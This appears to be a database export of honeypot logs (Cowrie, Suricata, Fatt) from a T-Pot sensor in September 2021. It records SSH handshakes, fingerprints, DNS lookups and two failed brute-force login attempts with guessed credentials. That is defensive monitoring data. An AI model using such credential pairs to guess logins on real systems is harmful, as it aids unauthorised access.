29575	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:27:12.168126+03	2021-09-20 14:30:04.301523+03	{"_id": "iQb1AnwBvYTbRNuEvzaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6930d4fb91c8", "@version": "1", "timestamp": "2021-09-20T11:27:12.168126Z", "@timestamp": "2021-09-20T11:27:12.168Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29576	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:27:14.924629+03	2021-09-20 14:30:04.302553+03	{"_id": "iwb1AnwBvYTbRNuEyzZT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.login.failed", "message": "login attempt [ubuntu/ubuntu123456] failed", "session": "6930d4fb91c8", "@version": "1", "password": "ubuntu123456", "username": "ubuntu", "timestamp": "2021-09-20T11:27:14.924629Z", "@timestamp": "2021-09-20T11:27:14.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29577	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:27:11.389587+03	2021-09-20 14:30:04.303553+03	{"_id": "iAb1AnwBvYTbRNuEvzaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6930d4fb91c8", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:27:11.389587Z", "@timestamp": "2021-09-20T11:27:11.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29578	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:27:39.388787+03	2021-09-20 14:30:04.305553+03	{"_id": "uwb2AnwBvYTbRNuEKjbR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:27:38.830632+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1540003208015016, "payload": "AAADzAYUGWRobju0w2cFOqhvegQVXAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35590, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:27:39.388787Z", "@timestamp": "2021-09-20T11:27:39.388Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......dhn;..g.:.oz..\\\\...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29579	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:27:39.112231+03	2021-09-20 14:30:04.306553+03	{"_id": "vAb2AnwBvYTbRNuEKzb4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35590, "timestamp": "2021-09-20T11:27:39.112231", "@timestamp": "2021-09-20T11:27:39.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29580	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:27:41.172501+03	2021-09-20 14:30:04.308524+03	{"_id": "wQb2AnwBvYTbRNuEMjaj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49253, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 985, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2079779665583035, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 43464, "timestamp": "2021-09-20T11:27:41.172501Z", "@timestamp": "2021-09-20T11:27:41.172Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29581	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:27:41.222062+03	2021-09-20 14:30:04.310553+03	{"_id": "xAb2AnwBvYTbRNuEMzbJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35238, "dest_port": 443, "timestamp": "2021-09-20T11:27:41.222062", "@timestamp": "2021-09-20T11:27:41.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29582	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:27:39.108272+03	2021-09-20 14:30:04.311556+03	{"_id": "uAb2AnwBvYTbRNuEKTYe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:35590 (192.168.176.2:22) [session: da625828719d]", "session": "da625828719d", "@version": "1", "protocol": "ssh", "src_port": 35590, "dest_port": 22, "timestamp": "2021-09-20T11:27:39.108272Z", "@timestamp": "2021-09-20T11:27:39.108Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29583	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:27:39.111134+03	2021-09-20 14:30:04.312553+03	{"_id": "uQb2AnwBvYTbRNuEKTYe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "da625828719d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:27:39.111134Z", "@timestamp": "2021-09-20T11:27:39.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29584	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:27:39.387087+03	2021-09-20 14:30:04.313554+03	{"_id": "ugb2AnwBvYTbRNuEKjbR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1540003208015016, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35590, "dest_port": 22, "timestamp": "2021-09-20T11:27:39.387087Z", "@timestamp": "2021-09-20T11:27:39.387Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29585	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:27:39.388787+03	2021-09-20 14:30:04.314553+03	{"_id": "vQb2AnwBvYTbRNuEKzb4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35590, "dest_port": 22, "timestamp": "2021-09-20T11:27:39.388787", "@timestamp": "2021-09-20T11:27:39.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29586	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:27:39.389418+03	2021-09-20 14:30:04.316553+03	{"_id": "vgb2AnwBvYTbRNuELTYF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "da625828719d", "@version": "1", "timestamp": "2021-09-20T11:27:39.389418Z", "@timestamp": "2021-09-20T11:27:39.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29587	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:27:40.596356+03	2021-09-20 14:30:04.317554+03	{"_id": "vwb2AnwBvYTbRNuEMDbu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [kaiwen/kaiwen] failed", "session": "da625828719d", "@version": "1", "password": "kaiwen", "username": "kaiwen", "timestamp": "2021-09-20T11:27:40.596356Z", "@timestamp": "2021-09-20T11:27:40.596Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29588	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:27:41.170939+03	2021-09-20 14:30:04.318556+03	{"_id": "wgb2AnwBvYTbRNuEMjaj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49253, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2079779665583035, "@version": "1", "in_iface": "enp5s0", "src_port": 43464, "dest_port": 53, "timestamp": "2021-09-20T11:27:41.170939Z", "@timestamp": "2021-09-20T11:27:41.170Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29589	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:27:41.262147+03	2021-09-20 14:30:04.320558+03	{"_id": "wwb2AnwBvYTbRNuEMzbJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35238, "timestamp": "2021-09-20T11:27:41.262147", "@timestamp": "2021-09-20T11:27:41.262Z", "t-pot_ip_ext": 